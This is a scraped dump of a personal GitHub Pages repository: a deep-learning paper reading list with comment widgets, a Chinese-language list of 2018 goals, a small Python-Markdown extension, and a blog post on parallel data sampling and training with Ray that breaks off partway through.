V Koltun. \"**Learning to See in the Dark**\" arXiv:1805.01934 (CVPR)(2018)([YouRube](https://www.youtube.com/watch?v=qWKUFK7MWvg&feature=youtu.be))\n- [Paper Summary] D Stoller, S Ewert, S Dixon. \"**Wave-U-Net: A Multi-Scale Neural Network for End-to-End Audio Source Separation**\" arXiv:1806.03185 (**Wave-U-Net**)([code](https://github.com/f90/Wave-U-Net))([code](https://github.com/ShichengChen/WaveUNet))\n- [Paper Summary] Jingwen Chen, Jiawei Chen, Hongyang Chao, Ming Yang. \"**Image Blind Denoising With Generative Adversarial Network Based Noise Modeling**\" CVPR (2018) **(GAN็›ฒ้™ๅ™ช)**([Website](http://openaccess.thecvf.com/content_cvpr_2018/html/Chen_Image_Blind_Denoising_CVPR_2018_paper.html))([ๅฐ†้—จๅˆ›ๆŠ•](https://mp.weixin.qq.com/s/Vb0sIXC7s0yMRfhZFeC-wg))\n- [Paper Summary] S Guo, Z Yan, K Zhang, W Zuo, L Zhang. \"**Toward Convolutional Blind Denoising of Real Photographs**\" arXiv:1807.04686 (2018) **(CBDNet)** ([code](http://t.cn/Rgrv2Lr ))\n- [Paper Summary] Xia Li, Jianlong Wu, Zhouchen Lin, Hong Liu1, and Hongbin Zha. \"**Recurrent Squeeze-and-Excitation Context Aggregation Net for Single Image Deraining**.\" arXiv:1807.05698 (2018) **(ๅ•ๅ›พๅŽป้›จ)** ([code](https://github.com/XiaLiPKU/RESCAN))(RESCAN)\n\n\n\n\n\n# :heavy_heart_exclamation: Confidence Estimation\n\n- DeVries T, Taylor G W. \"**Learning Confidence for Out-of-Distribution Detection in Neural Networks**\"[J]. arXiv:1802.04865, (2018).\n\n---\n\n# :surfer: Survey & Review\n\n- [Paper Summary] LeCun, Yann, Yoshua Bengio, and Geoffrey Hinton. \"**Deep learning**.\" **(Three Giants' Survey)**\n\n# :running_man: ImageNet Evolution & Models\n\n> ![](https://i.loli.net/2018/08/31/5b88fe77f16e6.png)\n>\n> ![](https://i.loli.net/2018/08/31/5b89001a12508.png)\n>\n> ![](https://i.loli.net/2018/08/31/5b890a2ae3742.png)\n>\n> [From: Alfredo Canziani, Adam Paszke, Eugenio Culurciello, An Analysis of Deep Neural Network Models for Practical Applications, 2017.]\n>\n> *Deep Learning broke out from here๏ผ*\n\n- [[Paper Summary](./ImageNet Classification with Deep Convolutional Neural Networks.html)] Krizhevsky, Alex, Ilya Sutskever, and Geoffrey E. Hinton. \"**Imagenet classification with deep convolutional neural networks**.\" (2012). **(AlexNet, Deep Learning Breakthrough!)**\n- [Paper Summary] Pierre Sermanet, David Eigen, Xiang Zhang, Michael Mathieu, Rob Fergus, Yann LeCun. \"**OverFeat: Integrated Recognition, Localization and Detection using Convolutional Networks**\" (2013). **(winner of the localization task of ILSVRC2013)**\n- [Zeiler and Fergus, 2013] **(ZFNet)**\n- [[Paper Summary](./Very deep convolutional networks for large-scale image recognition.html)] Simonyan, Karen, and Andrew Zisserman. \"**Very deep convolutional networks for large-scale image recognition**.\" (2014).**(VGGNet,Neural Networks become very deep!)**\n- [Paper Summary] Szegedy, Christian, et al. \"**Going deeper with convolutions**.\" (2015).**(GoogLeNet, Deeper networks, computational efficiency)**\n- [Paper Summary] He, Kaiming, et al. \"**Deep residual learning for image recognition**.\" (2015).**(ResNet, Very very deep networks using residual connections, CVPR best paper)**\n\n- From: Alfredo Canziani, Adam Paszke, Eugenio Culurciello, 2017.\n- Mahajan et al, โ€œExploring the Limits of Weakly Supervised Pretrainingโ€, arXiv 2018\n\n\n\n# :goal_net: Model Configurations\n\n- [Paper Summary] Maas, Andrew L, Hannun, Awni Y, and Ng, Andrew Y. \"**Rectifier nonlinearities improve neural network acoustic models.**\" Proc. ICML, 30, (2013). **(Leaky ReLU)**\n- [Paper Summary] Goodfellow, Ian J., Warde-Farley, David, Mirza, Mehdi, Courville, Aaron C., and Bengio, Yoshua.\n \"**Maxout networks.**\" In Proceedings of the 30th International Conference on Machine Learning, ICML (2013) **(Maxout \"Neuron\")**\n- [Paper Summary] Graham, Ben. \"**Spatially-sparse convolutional neural networks.**\" ArXiv e-prints, September 2014c. **(very leaky ReLU)**\n- [Paper Summary] X Glorot, Y Bengio. \"**Understanding the difficulty of training deep feedforward neural networks**\" Proceedings of the thirteenth international conference on artificial intelligence and statistics. (2010) **(Xavier initialization)** \n- [Paper Summary] K He, X Zhang, S Ren, J Sun. \"**Delving deep into rectifiers: Surpassing human-level performance on imagenet classification**\" Proceedings of the IEEE international conference on computer vision. (2015) **(Leaky ReLU & Xavier initialization with additional factor)**\n- [Paper Summary] Ioffe, Sergey, and Christian Szegedy. \"**Batch normalization: Accelerating deep network training by reducing internal covariate shift**.\" (2015).**(An outstanding Work in 2015)**\n- [Paper Summary] DA Clevert, T Unterthiner, S Hochreiter. \"**Fast and accurate deep network learning by exponential linear units (elus)**\" arXiv:1511.07289 (2015)\n- [Paper Summary] Ba, Jimmy Lei, Jamie Ryan Kiros, and Geoffrey E. Hinton. \"**Layer normalization**.\" (2016).**(Update of Batch Normalization)**\n- [Paper Summary] Courbariaux, Matthieu, et al. \"**Binarized Neural Networks: Training Neural Networks with Weights and Activations Constrained to+ 1 orโˆ’1**.\" **(New Model,Fast)**\n- [Paper Summary] Jaderberg, Max, et al. \"**Decoupled neural interfaces using synthetic gradients**.\" (2016). **(Innovation of Training Method,Amazing Work)**\n- [Paper Summary] Chen, Tianqi, Ian Goodfellow, and Jonathon Shlens. \"Net2net: Accelerating learning via knowledge transfer.\"(2015).**(Modify previously trained network to reduce training epochs)**\n- [Paper Summary] Wei, Tao, et al. \"**Network Morphism.**\" (2016). **(Modify previously trained network to reduce training epochs)**\n- Girshick, โ€œFast R-CNNโ€, ICCV 2015 Figure copyright Ross Girshick, 2015. Reproduced with permission\n- Karpathy and Fei-Fei, โ€œDeep Visual-Semantic Alignments for Generating Image Descriptionsโ€, CVPR 2015 \n - Figure copyright IEEE, 2015. Reproduced for educational purposes.\n\n\n\n# Regularization\n\n\n\nBa, Kiros, and Hinton, โ€œLayer Normalizationโ€, arXiv 2016 **(Layer Normalization)**\n\nUlyanov et al, Improved Texture Networks: Maximizing Quality and Diversity in Feed-forward Stylization and Texture Synthesis, CVPR 2017 **(Instance Normalization)**\n\nWu and He, โ€œGroup Normalizationโ€, arXiv 2018 (Appeared 3/22/2018) **(Group Normalization)**\n\nHuang et al, โ€œDecorrelated Batch Normalizationโ€, arXiv 2018 (Appeared 4/23/2018) **(Decorrelated Batch Normalization)**\n\n\n\n- **Dropout**\n - [Paper Summary] Hinton, Geoffrey E., et al. \"**Improving neural networks by preventing co-adaptation of feature detectors**.\" (2012). \n - [Paper Summary] Srivastava, Nitish, et al. \"**Dropout: a simple way to prevent neural networks from overfitting**.\" (2014)\n\n- Wan et al, โ€œRegularization of Neural Networks using DropConnectโ€, ICML 2013 **(DropConnect)**\n- Graham, โ€œFractional Max Poolingโ€, arXiv 2014 **(Fractional Max Pooling)**\n- Huang et al, โ€œDeep Networks with Stochastic Depthโ€, ECCV 2016 **(Stochastic Depth)**\n\n\n\n# :skier: Optimization\n\n- [Paper Summary] J Bergstra, Y Bengio. \"**Random search for hyper-parameter optimization**\" Journal of Machine Learning Research, (2012) **(Hyperparameter Optimization: Random search)**\n\n- [Paper Summary] Sutskever, Ilya, et al. \"**On the importance of initialization and momentum in deep learning**.\" (2013) **(SGD + Momentum optimizer)**\n- [Paper Summary] Kingma, Diederik, and Jimmy Ba. \"**Adam: A method for stochastic optimization**.\" (2014). **(Adam)(Maybe used most often currently)**\n- [Paper Summary] Dauphin, Yann N., et al. \"**Identifying and attacking the saddle point problem in high-dimensional non-convex optimization**\" (2014) \n- [Paper Summary] Andrychowicz, Marcin, et al. \"**Learning to learn by gradient descent by gradient descent**.\" (2016).**(Neural Optimizer,Amazing Work)**\n- [Paper Summary] Han, Song, Huizi Mao, and William J. Dally. \"**Deep compression: Compressing deep neural network with pruning, trained quantization and huffman coding**.\" (2015). **(ICLR best paper, new direction to make NN running fast,DeePhi Tech Startup)**\n- [Paper Summary] Iandola, Forrest N., et al. \"**SqueezeNet: AlexNet-level accuracy with 50x fewer parameters and< 1MB model size**.\" (2016).**(Also a new direction to optimize NN,DeePhi Tech Startup)**\n- **(L-BFGS)**\n - Le et al, โ€œOn optimization methods for deep learning, ICML 2011โ€ \n - Ba et al, โ€œDistributed second-order optimization using Kronecker-factored approximationsโ€, ICLR 2017\n\n- **(Model Ensembles)**\n - Loshchilov and Hutter, โ€œSGDR: Stochastic gradient descent with restartsโ€, arXiv 2016 \n - Huang et al, โ€œSnapshot ensembles: train 1, get M for freeโ€, ICLR 2017 \n - Figures copyright Yixuan Li and Geoff Pleiss, 2017. Reproduced with permission.\n - Polyak and Juditsky, โ€œAcceleration of stochastic approximation by averagingโ€, SIAM Journal on Control and Optimization, 1992. **(Polyak averaging)**\n\n\n\n\n\n\n\n# :tv: Visualization / Understanding / Generalization / Transfer\n\n- Virsualization\n\n Krizhevsky, โ€œOne weird trick for parallelizing convolutional neural networksโ€, arXiv 2014๏ผˆfirst layer๏ผ‰\n He et al, โ€œDeep Residual Learning for Image Recognitionโ€, CVPR 2016๏ผˆfirst layer๏ผ‰\n Huang et al, โ€œDensely Connected Convolutional Networksโ€, CVPR 2017๏ผˆfirst layer๏ผ‰\n\n Van der Maaten and Hinton, โ€œVisualizing Data using t-SNEโ€, JMLR 2008 ๏ผˆt-sne๏ผ‰\n\n Yosinski et al, โ€œUnderstanding Neural Networks Through Deep Visualizationโ€, ICML DL Workshop 2014๏ผˆvisualizing activations, Gradient Ascent - better regularizer๏ผ‰\n\n Springenberg et al, โ€œStriving for Simplicity: The All Convolutional Netโ€, ICLR Workshop 2015๏ผˆMaximally Activation Patches๏ผ‰\n\n Zeiler and Fergus, โ€œVisualizing and Understanding Convolutional Networksโ€, ECCV 2014๏ผˆOcclusion, Intermediate features via (guided) backprop๏ผ‰\n\n Simonyan, Vedaldi, and Zisserman, โ€œDeep Inside Convolutional Networks: Visualising Image Classification Models and Saliency Mapsโ€, ICLR Workshop 2014.๏ผˆSaliency, Gradient Ascent๏ผ‰\n\n Springenberg et al, โ€œStriving for Simplicity: The All Convolutional Netโ€, ICLR Workshop 2015 (Intermediate features via (guided) backprop)\n\n Nguyen et al, โ€œMultifaceted Feature Visualization: Uncovering the Different Types of Features Learned By Each Neuron in Deep Neural Networksโ€, ICML Visualization for Deep Learning Workshop 2016. (Gradient Ascent adding โ€œmulti-facetedโ€ visualization )\n\n Nguyen et al, โ€œSynthesizing the preferred inputs for neurons in neural networks via deep generator networks,โ€ NIPS 2016๏ผˆGradient Ascent Optimize in FC6 latent space๏ผ‰\n\n Mahendran and Vedaldi, โ€œUnderstanding Deep Image Representations by Inverting Themโ€, CVPR 2015๏ผˆfeature inversion๏ผ‰\n\n Johnson, Alahi, and Fei-Fei, โ€œPerceptual Losses for Real-Time Style Transfer and Super-Resolutionโ€, ECCV 2016. (feature inversion, Fast Style Transfer)\n Gatys, Ecker, and Bethge, โ€œTexture Synthesis Using Convolutional Neural Networksโ€, NIPS 2015 (neural texture synthesis)\n\n Gatys, Ecker, and Bethge, โ€œImage style transfer using convolutional neural networksโ€, CVPR 2016 (neural style transfer)\n\n Ulyanov et al, โ€œTexture Networks: Feed-forward Synthesis of Textures and Stylized Imagesโ€, ICML 2016 (Fast Style Transfer)\n Ulyanov et al, โ€œInstance Normalization: The Missing Ingredient for Fast Stylizationโ€, arXiv 2016 (Fast Style Transfer)\n\n Dumoulin, Shlens, and Kudlur, โ€œA Learned Representation for Artistic Styleโ€, ICLR 2017. (one network, many styles)\n\n\n\nUnderstanding deep learning requires rethinking generalization\n\n- **Distilling the knowledge in a neural network** (2015), G. Hinton et al. [[pdf\\]](http://arxiv.org/pdf/1503.02531)\n- **Deep neural networks are easily fooled: High confidence predictions for unrecognizable images** (2015), A. Nguyen et al. [[pdf\\]](http://arxiv.org/pdf/1412.1897)\n- **How transferable are features in deep neural networks?** (2014), J. Yosinski et al. [[pdf\\]](http://papers.nips.cc/paper/5347-how-transferable-are-features-in-deep-neural-networks.pdf)\n- **Learning and transferring mid-Level image representations using convolutional neural networks** (2014), M. Oquab et al. [[pdf\\]](http://www.cv-foundation.org/openaccess/content_cvpr_2014/papers/Oquab_Learning_and_Transferring_2014_CVPR_paper.pdf)\n- **Visualizing and understanding convolutional networks** (2014), M. Zeiler and R. Fergus [[pdf\\]](http://arxiv.org/pdf/1311.2901)\n- Transfer Learning\n - **Decaf: A deep convolutional activation feature for generic visual recognition** (2014), J. Donahue et al. [[pdf\\]](http://arxiv.org/pdf/1310.1531)\n - **CNN features off-the-Shelf: An astounding baseline for recognition** (2014), A. Razavian et al. [[pdf\\]](http://www.cv-foundation.org//openaccess/content_cvpr_workshops_2014/W15/papers/Razavian_CNN_Features_Off-the-Shelf_2014_CVPR_paper.pdf)\n\n\n\n# :beginner: Weight Initialization\n\n- **Understanding the difficulty of training deep feedforward neural networks** by Glorot and Bengio, 2010 [[PDF](http://www.jmlr.org/proceedings/papers/v9/glorot10a/glorot10a.pdf?hc_location=ufi)]\n- **Exact solutions to the nonlinear dynamics of learning in deep linear neural networks** by Saxe et al, 2013 [[PDF](https://arxiv.org/pdf/1312.6120)]\n- **Random walk initialization for training very deep feedforward networks** by Sussillo and Abbott, 2014 [[PDF](https://arxiv.org/pdf/1412.6558)]\n- **Delving deep into rectifiers: Surpassing human-level performance on ImageNet classification** by He et al., 2015 [[PDF](https://www.cv-foundation.org/openaccess/content_iccv_2015/papers/He_Delving_Deep_into_ICCV_2015_paper.pdf)]\n- **Data-dependent Initializations of Convolutional Neural Networks** by Kraฬˆhenbuฬˆhl et al., 2015 [[PDF](https://arxiv.org/pdf/1511.06856)]\n- **All you need is a good init**, Mishkin and Matas, 2015 [[PDF](https://arxiv.org/pdf/1511.06422)]\n\n\n\n\n\n\n\nDetection and Segmentation\n\nSliding Window:\n\nFarabet et al, โ€œLearning Hierarchical Features for Scene Labeling,โ€ TPAMI 2013 \n\nPinheiro and Collobert, โ€œRecurrent Convolutional Neural Networks for Scene Labelingโ€, ICML 2014\n\nFully convolutional๏ผš\n\nLong, Shelhamer, and Darrell, โ€œFully Convolutional Networks for Semantic Segmentationโ€, CVPR 2015\n\nNoh et al, โ€œLearning Deconvolution Network for Semantic Segmentationโ€, ICCV 2015\n\nMulti-view 3D Reconstruction๏ผš\n\nChoy, C. B., Xu, D., Gwak, J., Chen, K., & Savarese, S. (2016, October). 3d-r2n2: A unified approach for single and multi-view\n3d object reconstruction. In European Conference on Computer Vision (pp. 628-644). Springer, Cham.\n\nHuman Pose Estimation:\n\nJohnson and Everingham, \"Clustered Pose and Nonlinear Appearance Models for Human Pose Estimation\", BMVC 2010\n\nToshev and Szegedy, โ€œDeepPose: Human Pose Estimation via Deep Neural Networksโ€, CVPR 2014\n\n\n\n\n\n\n\nRNN\n\nBa, Mnih, and Kavukcuoglu, โ€œMultiple Object Recognition with Visual Attentionโ€, ICLR 2015. \n\nGregor et al, โ€œDRAW: A Recurrent Neural Network For Image Generationโ€, ICML 2015 \n\nSutskever et al, โ€œSequence to Sequence Learning with Neural Networksโ€, NIPS 2014\n\nKarpathy, Johnson, and Fei-Fei: Visualizing and Understanding Recurrent Networks, ICLR Workshop 2016\n\nBengio et al, โ€œLearning long-term dependencies with gradient descent is difficultโ€, IEEE Transactions on Neural Networks, 1994 \n\nPascanu et al, โ€œOn the difficulty of training recurrent neural networksโ€, ICML 2013\n\nHochreiter and Schmidhuber, โ€œLong Short Term Memoryโ€, Neural Computation 1997\n\nSrivastava et al, โ€œHighway Networksโ€, ICML DL Workshop 2015\n\nLearning phrase representations using rnn encoder-decoder for statistical machine translation, Cho et al. 2014 **(GRU)**\n\nLSTM: A Search Space Odyssey, Greff et al., 2015\n\nAn Empirical Exploration of Recurrent Network Architectures, Jozefowicz et al., 2015\n\n\n\n# How to comment\n\n> With use of theย [hypothes.is](https://hypothes.is/)ย extension (right-sided), you can highlight, annote any comments and discuss these notes inline*at any pages*and *posts*.\n>\n> *Please Feel Free*ย to Let Me Know and *Share*ย it Here.\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./index.html)\n\n\n<div id=\"disqus_thread\"></div>\n<script>\n/**\n* RECOMMENDED CONFIGURATION VARIABLES: EDIT AND UNCOMMENT THE SECTION BELOW TO INSERT DYNAMIC VALUES FROM YOUR PLATFORM OR CMS.\n* LEARN WHY DEFINING THESE VARIABLES IS IMPORTANT: https://disqus.com/admin/universalcode/#configuration-variables*/\n/*\nvar disqus_config = function () {\nthis.page.url = PAGE_URL; // Replace PAGE_URL with your page's canonical URL variable\nthis.page.identifier = PAGE_IDENTIFIER; // Replace PAGE_IDENTIFIER with your page's unique identifier variable\n};\n*/\n(function() { // DON'T EDIT BELOW THIS LINE\nvar d = document, s = d.createElement('script');\ns.src = 'https://iphysresearch.disqus.com/embed.js';\ns.setAttribute('data-timestamp', +new Date());\n(d.head || d.body).appendChild(s);\n})();\n</script>\n<noscript>Please enable JavaScript to view the <a href=\"https://disqus.com/?ref_noscript\">comments powered by Disqus.</a></noscript>\n\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n\n\n\n" }, { "alpha_fraction": 0.6596774458885193, "alphanum_fraction": 0.7032257914543152, "avg_line_length": 32.23214340209961, "blob_id": "1d7b24f1025bfc270d39f108352247e2d81d3855", "content_id": "23bebd61e3bc60ab64d6f7bdee008c11a813f5cd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2698, "license_type": "no_license", "max_line_length": 394, "num_lines": 56, "path": "/blog/posts/2018_flag.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: 2018ๅนดไธชไบบ่ฎกๅˆ’ๅ’Œ็›ฎๆ ‡\ndate: 2018-01-17\n---\n\n\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html)\n\n# 2018ๅนดไธชไบบ่ฎกๅˆ’ๅ’Œ็›ฎๆ ‡\n\n\n\n\n- [ ] 3ๆœˆไปฝๅ‰ๅฎŒๆˆไธ€็ฏ‡DLๆ–‡็ซ ๅนถsciๆŠ•็จฟๅ‘่กจ๏ผŒ6ๆœˆๅ‰ๅฎŒๆˆ็ฌฌไบŒ็ฏ‡ๆ–‡็ซ ็š„ๅ†™ไฝœ๏ผŒไธŠๅŠๅนด่พพๅˆฐๆฏ•ไธš็š„่ฆๆฑ‚ใ€‚\n- [ ] ไธŠๅŠๅนดๅ†…็ป†่‡ด็š„ๅฎŒๆˆ cs231n ่ฏพ็จ‹็š„ๅญฆไน ใ€‚ๆ€ป็ป“็ณปๅˆ—ๆทฑๅบฆๅญฆไน ็Ÿฅ่ฏ†่ฆ็‚น็ฌ”่ฎฐ๏ผŒๅ†™ไฝœไธšไปฃ็ ่งฃๆžๆ–‡็ซ ๅœจๆŠ€ๆœฏๅšๅฎขไธŠใ€‚\n- [ ] ไธŠๅŠๅนด็”จ MXNet ๆก†ๆžถๅฎž็Žฐๆ‰€ๆœ‰่ฎก็ฎ—ๆœบ่ง†่ง‰ไธญๆœ€้‡่ฆ็š„ๆจกๅž‹ใ€‚่ƒฝๅคŸ็บฏๆ‰‹ๅ†™ไธ่ฐƒ็”จ้ซ˜็บงAPIๅฎž็Žฐๅธธ็”จ็š„็ฝ‘็ปœ็ป“ๆž„ๅ•ๅ…ƒใ€‚ (ๅญฆไน MXNet-Gluon่ง†้ข‘่ฏพ็จ‹)\n- [ ] ๆ‰“้€šๆทฑๅบฆๅญฆไน ็š„ๆ•ฐๅญฆๅŸบ็ก€๏ผŒๅˆฐไบ†ๅนดๅบ•ๅฏนDLๆ•ฐๅญฆ้ƒจๅˆ†ไฟกๅฟƒๅ่ถณใ€‚\n- [ ] ๆŠŠใ€Šๆทฑๅบฆๅญฆไน ใ€‹ไนฆไปŽๅคดๅˆฐๅฐพ็œ‹้€šไธ‹ๆฅ~ \n- [ ] ๅคงๆ•ฐๆฎๆ–‡ๆ‘˜็š„่ง†่ง‰่ฏพ+CSDNๆ™บ่€ๅธˆ็š„DL่ฏพ\n- [ ] NNML[่ฏพ](https://baijiahao.baidu.com/s?id=1565197490811489&wfr=spider&for=pc) - Hinton\n- [ ] ๆŽๅผ˜ๆฏ…็š„ๆœบๅ™จๅญฆไน ่ฏพ็จ‹\n- [ ] CMU2017ๅนด็ง‹ๅญฃ่ฏพ็จ‹๏ผšๆทฑๅบฆๅญฆไน โ€”โ€”Ruslan Salakhutdinovไธป่ฎฒ, [ไป‹็ป](https://mp.weixin.qq.com/s/CyubRIjWxYecV44Bn24IYg)\n- [ ] ๅญฆไน [CSC321(2017)](http://www.cs.toronto.edu/~rgrosse/courses/csc321_2017/)็š„่ฏพ็จ‹: Intro to Neural Networks and Machine Learning\n- [ ] [CS 20](https://mp.weixin.qq.com/s/LYaRmgVIOc3Yv9_QlPXlEQ): Tensorflow for Deep Learning Research\n- [ ] Fast.ai ไธŠ็š„่ฏพ็จ‹ๅญฆไน  Part I and Part II\n- [ ] ๆŠŠ่ฅฟ็“œไนฆๅ•ƒไบ†!\n- [ ] ๅญฆไน ๆ–ฏๅฆ็ฆๅคงๅญฆ็š„ๆทฑๅบฆๅญฆไน ็†่ฎบ่ฏพ็จ‹ใ€‚https://stats385.github.io/\n- [ ] ไฟกๅทไธŽ็ณป็ปŸ่ฏพ็จ‹: ๅŒๆตŽ/ๆธ…ๅŽ๏ผˆ็•™ๆ„ๅฐๆณขๅˆ†ๆž๏ผ‰\n- [x] ๅšๆŒๅœจ Github ไธŠๅ†™ๆŠ€ๆœฏๅšๅฎข\n- [ ] ๆฏๆœˆไธ‰ๅณฐ่ถŠ้‡Žไธ€ๅคฉ๏ผŒๅœจๅนดๅบ•ๅ‚ๅŠ ไธ€ๆฌกไธ‰ๅณฐ่ถŠ้‡Ž่ต›\n- [ ] ๅ‚ๅŠ ไธ€ๆฌกๅŠ็จ‹้ฉฌๆ‹‰ๆพ\n- [ ] ๅ‚ๅŠ ไธ€ๆฌกๅ…จ็จ‹้ฉฌๆ‹‰ๆพ\n- [ ] ไฝ“่„‚็Ž‡้™ๅˆฐ15%\n- [ ] ่ฎค่ฎค็œŸ็œŸ่Šฑๅ‡บ็ฒพๅŠ›ๅœจKaggleๆ•ฐๆฎ็ซž่ต›ไธ€ๆฌก๏ผŒๆฑ‚่Žทๅฅ–ใ€‚\n- [ ] ๅธฆ็ˆถๆฏๅŽป่ฅฟๅ—ๆ—…ๆธธไธ€่ถŸ\n- [ ] ๅผ€ๅ‘ไธชArxiv ๅพฎไฟกๅฐ็จ‹ๅบ (้€‰ๅš)\n- [ ] ไปŽsublime ่ฝฌ็งปๅˆฐemacsไธ‹็ผ–่พ‘ไปฃ็ \n- [ ] ้‡ๆ–ฐๅญฆไน ไธ€้ใ€ŠLinuxๅฐฑ่ฏฅ่ฟ™ไนˆๅญฆใ€‹\n- [ ] ไธ‹ๅŠๅนดๆ—ๅฌๅŒ—ๅธˆ็š„ๅ†™ไฝœ่ฏพ\n\n\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>" }, { "alpha_fraction": 0.6676528453826904, "alphanum_fraction": 0.6696252226829529, "avg_line_length": 26.432432174682617, "blob_id": "bcc36c30038e6b5dd90a3600fc791515d7e1db13", "content_id": "2efaa473bff47bfd8c6c2f637d70dcee0aece100", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1014, "license_type": "no_license", "max_line_length": 90, "num_lines": 37, "path": "/extensions/dt_cite.py", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "from __future__ import absolute_import\nfrom __future__ import unicode_literals\nimport markdown\nfrom markdown import Extension\nfrom markdown.preprocessors import Preprocessor\nfrom markdown.inlinepatterns import Pattern\n\n\nCUSTOM_CLS_RE = r'[!]{2}(?P<class>.+)[|](?P<text>.+)[!]{3}'\n\n\nclass CiteExtension(Extension):\n \"\"\" Extension class for markdown \"\"\"\n\n def extendMarkdown(self, md, md_globals):\n md.inlinePatterns[\"custom_span_class\"] = CustomSpanClassPattern(CUSTOM_CLS_RE, md)\n\nclass CustomSpanClassPattern(Pattern):\n\n def handleMatch(self, matched):\n\n \"\"\"\n If string matched\n regexp expression create\n new span elem with given class\n \"\"\"\n\n cls = matched.group(\"class\")\n text = matched.group(\"text\")\n\n elem = markdown.util.etree.Element(\"dt-cite\")\n elem.set(\"key\", cls)\n elem.text = markdown.util.AtomicString(text)\n return elem\n\ndef makeExtension(*args, **kwargs):\n return CustomSpanClassExtension(*args, **kwargs)" }, { "alpha_fraction": 0.5983985066413879, "alphanum_fraction": 0.6362796425819397, "avg_line_length": 23.417293548583984, "blob_id": "665355a52de66b173cbb5b987fb428d9402fdc9a", "content_id": "2f98d39703377c597f314636d98e8210baa85890", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 6536, "license_type": "no_license", "max_line_length": 181, "num_lines": 266, "path": "/blog/posts/Data_Sampling_and_Training_DNN_in_Parallel_with_Ray.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "# Data Sampling and Training DNN in Parallel with Ray\n\n[TOC]\n\n\n\n- Pre-requirement\n - Python3.x\n - Numpy\n - Ray\n\n\n\n## Method 1.\n\n- Keywords:\n\n```python\n#! usr/bin/python\n#coding=utf-8\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\n# import sys, os\nfrom tqdm import tqdm\nimport numpy as np\nimport ray, time\nfrom multiprocessing import cpu_count\nCPU_COUNT = cpu_count()\nprint('######################')\nprint('CPU_COUNT:', CPU_COUNT)\nprint('######################')\n\nray.init(num_cpus=CPU_COUNT,include_webui=False, ignore_reinit_error=True)\n\[email protected]\nclass Data_precessing(object):\n def __init__(self, time_sampling):\n self.time_sampling = time_sampling\n\n def sampling(self,epoch):\n print('====================')\n print('Data sampling for {} ({}s)'.format(epoch, self.time_sampling))\n time.sleep(self.time_sampling)\n return epoch\n\n\nclass Solver(object):\n def __init__(self, time_sampling, time_training):\n self.num_epoch = 5\n self.time_sampling = time_sampling\n self.time_training = time_training\n\n @ray.remote\n def Parallel_cache(cls, epoch, temp):\n # @ray.remote can not describe a method with 'self' parameter.\n return cls.iteration(epoch)\n\n def train(self):\n Data = Data_precessing.remote(time_sampling = self.time_sampling)\n epochs = [Data.sampling.remote(i) for i in range(1,self.num_epoch +1)][::-1]\n\n while len(epochs)>1:\n epochs.append(self.Parallel_cache.remote(self, epochs[-1], epochs.pop(-1)))\n epochs = epochs[:-1]\n return ray.get(epochs)\n\n def iteration(self, epoch):\n print('Training with sample {} ({}s)'.format(epoch, self.time_training))\n time.sleep(self.time_training)\n return epoch + 1\n\nsolver = Solver(time_sampling = 5, time_training = 5)\n# Sleep a little to improve the accuracy of the timing measurements below.\ntime.sleep(2); start_time = time.time()\n\n_ = solver.train()\n\nend_time = time.time(); \nprint('The example took {} seconds.'.format(end_time - start_time))\n```\n\n\n\n\n\n\n\n## Method 2\n\n```python\n#! usr/bin/python\n#coding=utf-8\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nimport ray, time\nfrom multiprocessing import cpu_count\nCPU_COUNT = cpu_count()\nprint('######################')\nprint('CPU_COUNT', CPU_COUNT)\nprint('######################')\n\nray.init(num_cpus=CPU_COUNT,include_webui=False, ignore_reinit_error=True)\n\nclass Solver(object):\n def __init__(self, time_sampling, time_training):\n self.num_epoch = 5\n self.time_sampling = time_sampling\n self.time_training = time_training\n self.data = 0\n\n @ray.remote\n def Parallel_cache(cls, epoch, temp):\n # @ray.remote can not describe a method with 'self' parameter.\n return cls.iteration(epoch)\n\n def sampling(self):\n self.data += 1\n print('====================') \n print('Data sampling as {} ({}s)'.format(self.data, self.time_sampling))\n time.sleep(self.time_sampling)\n return 0\n\n def train(self):\n epochs = [ray.put(i) for i in range(self.num_epoch+1)][::-1]\n\n while len(epochs)>1:\n epochs.append(self.Parallel_cache.remote(self, epochs.pop(-1), self.sampling() ))\n epochs = epochs[:-1]\n return ray.get(epochs)\n\n def iteration(self, epoch):\n print('Training with sample {} ({}s)'.format(self.data, self.time_training))\n time.sleep(self.time_training)\n return epoch + 1\n\nsolver = Solver(time_sampling = 5, time_training = 5)\n# Sleep a little to improve the accuracy of the 